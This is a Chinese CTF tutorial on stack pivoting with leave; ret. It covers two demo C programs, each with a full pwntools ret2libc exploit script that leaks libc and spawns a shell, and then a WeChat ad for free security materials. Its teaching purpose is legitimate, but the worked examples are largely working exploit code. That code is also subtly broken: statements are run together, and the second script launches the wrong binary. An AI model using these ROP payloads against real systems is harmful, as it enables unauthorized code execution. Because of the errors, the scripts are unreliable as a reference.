一、前言

现在的CTF比赛中很难在大型比赛中看到栈溢出类型的赛题,而即使遇到了也是多种利用方式组合出现,尤其以栈迁移配合其他利用方式来达到组合拳的效果,本篇文章意旨通过原理+例题的形式带领读者一步步理解栈迁移的原理以及在ctf中的应用。

二、前置知识

在笔者看来栈迁移的原理其实可以总结为一句话:因为栈溢出字节过少所以劫持rsp寄存器指向攻击者提前布置好payload的内存地址,已达到扩充溢出字节数的目的。 以一个简单的demo1为例,程序源码以及编译指令如下所示:

#include <stdio.h>char buf1[0x100];void main() {char buf2[0x40];puts("First: ");read(0, buf1, 0x100);puts("Second: ");read(0, buf2, 0x60);}
// gcc -fno-stack-protector -no-pie -z lazy -o demo1 demo1.c

程序的流程非常简单存在两个输出,第一次是往全局变量buf1第二次是往局部变量buf2中写入。可以看到在第二次写入时存在明显的栈溢出漏洞,但是溢出的字节数只够写入0x18大小的字节,如果要构造gadget泄露内存地址,最短的ROP链也需要0x20的字节才可以在泄露内存后返回输入点继续执行程序。

在这种情况就可以使用栈迁移的方式来扩大溢出字节数的大小,在前面说过栈迁移的本质就是劫持rsp寄存器指向攻击者提前布置好payload的内存地址,而劫持rsp寄存器的指令有很多,最常用的就是函数的退栈返回指令leave; ret。​ 可以分成两部分来理解这条指令。首先执行的是leave指令,这条指令共执行了两个操作mov rsp, rbp和pop rbp,其中rsp寄存器的指向变化如下图所示,可以看到在执行完leave指令后rsp寄存器指向了返回地址;随后会执行ret指令,这条指令可以理解成pop rip。因为此时rsp寄存器指向rbp+8即函数的返回地址,所以pop给rip寄存器的就是函数的返回地址,退栈完成。

在了解这条指令后不难发现,如果利用溢出漏洞可以覆盖rbp的值为一个已知地址,那么在执行过两次leave; ret指令后,就可以劫持rsp寄存器到任意地址,此时rsp寄存器指向的地址即为新的栈地址,只要事先在新地址处布置好想要执行的rop gadget,那么溢出字节过少这个问题就迎刃而解了。

根据上面介绍的栈迁移原理,可以总结出使用栈迁移的一些必要条件

  1. 存在可以劫持程序流和控制rbp寄存器的漏洞
  2. 攻击者可以准确确定某一块具有读写权限的地址
  3. 在进行栈迁移前需要在这块地址上进行rop gadget布局

【----帮助网安学习,以下所有学习资料免费领!加weix:yj009991,备注“ csdn ”获取!】

 ① 网安学习成长路径思维导图

 ② 60+网安经典常用工具包

 ③ 100+SRC漏洞分析报告

 ④ 150+网安攻防实战技术电子书

 ⑤ 最权威CISSP 认证考试指南+题库

 ⑥ 超1800页CTF实战技巧手册

 ⑦ 最新网安大厂面试题合集(含答案)

 ⑧ APP客户端安全检测指南(安卓+IOS)

三、例题讲解

3.1 例题demo1

在理解了栈迁移的原理后可以通过这个demo来练练手了,进行编译时未开启Canary和PIE保护,NX保护开启防止写入shellcode

这里先将大体的利用思路总结出来,其中的实现细节实现会在下文中进行说明。

  • 未开启PIE保护,可以确定第一次写入的地址记作addr1,在此地址处布置rop gadget来实现泄露LIBC地址并返回主函数
  • 利用第二次写入存在的栈溢出漏洞覆盖rbp为addr1,rip为指令leave; ret的地址实现栈迁移
  • 返回主函数后利用ret2libc执行system("/bin/sh")获取shell

3.1.1 栈迁移布局

首先我们利用第一次输入进行rop chain布局,并利用第二次栈溢出漏洞覆盖rbp为伪栈地址劫持rip为leave; ret指令地址,内存变化如下图所示。​ 细心的同学会发现,我们在第一次进行rop chain布局前有一小段padding填充在前面,这是因为在我们进行栈迁移后,程序指令中所有对于栈的操作都会在伪栈内进行,而伪栈地址与got表地址相邻,填入这小段padding的目的就是为了避免程序在对伪栈进行读写数据时造成内存数据段内关键信息被覆盖,从而造成crash现象。

在汇编中当我们要对局部变量进行操作时,一般都是用rbp栈底寄存器来定位,如下图所示。这一点在栈迁移中可以让我们构造出一个类似于链表的利用结构,每次布置rop chain时不断将rbp寄存器赋值为伪栈地址,然后跳转到主函数的写入函数处,因为局部变量寻址是通过rbp寄存器,所以我们可以不断进行rop chain的布局。​ 在第一次进行rop chain的布局中控制rbp寄存器指向新的伪栈地址,那么在返回主函数后执行read函数时,写入地址就是新的伪栈地址,这时只要利用栈溢出漏洞去构造ret2libc即可getshell。

3.1.2 EXP

from pwn import *p = process('./demo1')
libc = ELF('./demo1').libcfake_stack = 0x601060
leave_ret = 0x40058E
puts_plt = 0x400430
puts_got = 0x601018
pop_rdi = 0x4005f3
read_text = 0x400572payload1 = "a"*0x78+p64(fake_stack+0x408)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)
p.sendafter('First:', payload1)
payload2 = 'a'*0x40+p64(fake_stack+0x78)+p64(leave_ret)
p.sendafter('Second:', payload2)puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))payload3 = "a"*0x48+p64(pop_rdi)+p64(sh)+p64(system)
p.send(payload3)
p.interactive()

3.2 例题demo2

在CTF比赛中通常只有一次写入机会,这边给出demo2的源码以及编译命令。

# include <stdio.h>
# include <string.h>
void main() {char buf[0x28];puts("Hello Hacker.");read(0, buf, 0x40);
}
// gcc -fno-stack-protector -no-pie -z lazy -o demo2 demo2.c

与demo1一样demo2未开启Canary 与PIE保护,不同的是demo2中只有一次输入机会,并且溢出字节数只能覆盖返回地址。​ 结合之前讲解的栈迁移技巧,首先在劫持rsp前需要进行rop chain布局,程序并没有一次可以往伪栈布局的机会,但是可以利用劫持程序流的方式来构造这一条件。​ 观察程序的汇编代码如下图所示,在对局部变量buf进行寻址时使用了rbp寄存器,那么我们可以利用这一点配合栈溢出漏洞来实现伪栈上的rop布局。利用思路如下所示,其中的实现细节实现会在下文中进行说明。

  1. 利用栈溢出漏洞劫持rbp寄存器为伪栈地址,返回地址为0x40054b(图中主程序的输入函数),即可在返回主程序后对伪栈进行rop chain的布局
  2. 对伪栈进行rop chain的布局,泄露LIBC地址并返回主函数
  3. 返回主函数后利用栈溢出漏洞配合栈迁移+ret2libc完成getshell

3.2.1 伪栈rop布局

第一次leave; ret是主函数退栈时执行的,利用栈溢出漏洞覆盖rbp为伪栈地址,rsp为主函数地址。当我们再次来到主函数的输入函数时即可在伪栈上布置rop chain。此时的内存变化如下图所示

第二次leave; ret指令依然来自主函数退栈时执行,在伪栈上布置好rop chain后程序执行退栈操作,此时rbp寄存器内保存fack_stack-0x30的地址即rop chain地址+0x8的位置处,rsp寄存器被劫持到伪栈上,此时的内存变化如下图所示

这里为什么是fake_stack-0x30的地址呢?因为在对局部变量buf进行寻址时使用到rbp寄存器,而本题中的buf地址来自[rbp-0x30]的地址,所以如果想要将rsp劫持到rop chain的位置,就需要对rbp寄存器赋值为fakc_stack-0x30,那么在执行第三次leave的时候,rsp寄存器就劫持到rop chain的地址处,此时的内存变化如下图所示

泄露完LIBC地址后,劫持程序流返回主函数,利用read函数对伪栈进行最后一次rop布局,需要注意此时的写入地址是fake_stack-0x30,所以在栈迁移时rbp寄存器的值为fake_stack-0x30-0x30-0x8的地址处,再执行一次leave; ret时即可将rsp寄存器劫持到ret2libc rop地址处。内存变化如下图所示

3.2.2 EXP

from pwn import *
context.log_level = 'debug'p = process('./demo1')
libc = ELF('./demo1').libcread_text = 0x40054B
fake_rbp = 0x601500
pop_rdi = 0x4005d3 # pop rdi; ret;
puts_plt = 0x400430
puts_got = 0x601018
leave_ret = 0x400567# gdb.attach(p, 'b *0x400567')payload1 = 'a'*0x30+p64(fake_rbp)+p64(read_text)
p.sendafter("Hello Hacker.", payload1)payload2 = p64(fake_rbp-0x30)+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(read_text)+p64(0)+p64(fake_rbp-0x30)+p64(leave_ret)
p.send(payload2)puts_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system = libc_base+libc.sym['system']
sh = libc_base+libc.search('/bin/sh').next()
success(hex(libc_base))payload3 = p64(pop_rdi)+p64(sh)+p64(system)+p64(0)*3+p64(fake_rbp-0x68)+p64(leave_ret)
p.send(payload3)
p.interactive()

更多靶场实验练习、网安学习资料,

请点击这里>>https://www.hetianlab.com

关于栈迁移的那些事儿相关推荐

  1. 栈劫持(栈迁移)介绍

    栈劫持 栈劫持也可以称为栈迁移,用来解决栈本身可以利用的空间不够用,一般是溢出空间不够 用,没办法有效构造rop链.这个时候我们可以通过劫持ebp的方式,利用leave 和 ret两个汇编指令来做 到 ...

  2. BUUCTF栈迁移ciscn_2019_es_2

    1.checksec+运行获取基本信息 32位+NX堆栈不可执行 2.常规IDA操作 1.main函数 并没有什么 2.int vul()函数 程序主体,信息很多 1.两次read都在往同一个地方s处 ...

  3. 遗留系统的技术栈迁移

    什么是遗留系统(Legacy System)?根据维基百科的定义,遗留系统是一种旧的方法.旧的技术.旧的计算机系统或应用程序[1].这一定义事实上并没有很好地揭露遗留系统的本质.我认为,遗留系统首先是 ...

  4. 程序员:如何成为一个全栈的工程师?

    全栈工程师,英文 Full Stack developer,是指那些掌握多种技能,并能利用多种技能独立完成产品的人.当然,现在「全栈工程师」很吃香,非常吃香!这是因为在移动互联网时代,IT 系统变得愈 ...

  5. 栈迁移过程记录,栈指针rsp、rbp、rip、leave变化过程

    栈迁移 利用条件: 能对bss段进行操作(可写.可执行) 有必要的ROP可用 通过ROP leave_ret 改变ebp的值伪造栈,到达栈迁移的目的.下面就一个题目的一个payload进行调试,逐指令 ...

  6. pwn-栈迁移-ROP

    # 栈迁移-ROP 题目描述 这里给出题目链接 https://github.com/LeeHaming/CTF-learn/blob/master/easyR0p/easyR0p 程序的结构很简单, ...

  7. 基于Module Federation的模块化跨栈方案探索

    公司发展到一定程度,随着业务分支不断变多,B端C端的项目也随之增多,由于历史原因可能产生新老技术栈(vue/react)共存的情况,这既不利于组件物料的抽离统一(一类通用组件需适配多套技术栈),也增大 ...

  8. 百万年薪挖了个P8程序员,难道是“水货”?

    点击蓝色"程序猿DD"关注我 回复"资源"获取独家整理的学习资料! >>阿里云8月最新优惠,点击查看<< 大厦新搬进来一家创业公司,老板 ...

  9. ​万字长文阐述前端技术浪潮与应用

    把握方向,迎接机遇,迎娶白富美,走向人生巅峰. 前端技术浪潮与应用 一.前端基建 01.前端可视化 02.前端跨端跨栈 03.微前端 04.前端稳定性/质量保障体系 05.总结 二.前端行业新资讯 ① ...

最新文章

  1. Ubuntu12.04LTS添加broadcom 802.11g无线网卡驱动
  2. 用Python构建个性化智能闹钟
  3. oracle数据库【表复制】insert into select from跟create table as select * from 两种表复制语句区别...
  4. 设计模式C++实现(15)——观察者模式
  5. Android应用程序组件Content Provider简要介绍和学习计划
  6. python 比例之差z假设检验_假设检验在数据分析中的应用
  7. linux安装redis有什么用吗,Linux下 安装Redis
  8. ArmLinux BOOTLOADER全程详解
  9. 研磨设计模式——桥接模式
  10. 成都互联网公司和生活成本
  11. 四叶草的python代码_python绘图四叶草
  12. 小爱同学指令大全_小爱同学有趣的命令
  13. 【金融123】ISDA协议
  14. 长寿命电池密码,电池包均衡控制算法详解
  15. 《用微信测试公众号慰问你的好兄弟/姐妹》:用java简单实现微信公众号消息推送(入门且详细且有效)
  16. 个人对AutoResetEvent和ManualResetEvent的理解
  17. 经过半年的摸爬滚打,入门机器学习如此简单
  18. discuz点击会员名字默认进入个人空间首页
  19. 《Python核心技术第二版》笔记
  20. 一种兼容645和698通信协议的电能表

热门文章

  1. windows兼容模式
  2. pip.ini的建立
  3. 华为设备配置策略路由
  4. 个人总结-研一上学期
  5. 分布式机器学习——模型并行训练
  6. 我的世界服务器区块修复,MC新人解决区块错误问题教程详解
  7. 关于类的序列化,下列说法哪些是正确的
  8. 一克500元比黄金还贵的片仔癀,炒作退潮“中药茅”要“黄”了?
  9. Java ASCII编码
  10. 2018山东春季高考计算机真题,2018年春季高考数学真题.doc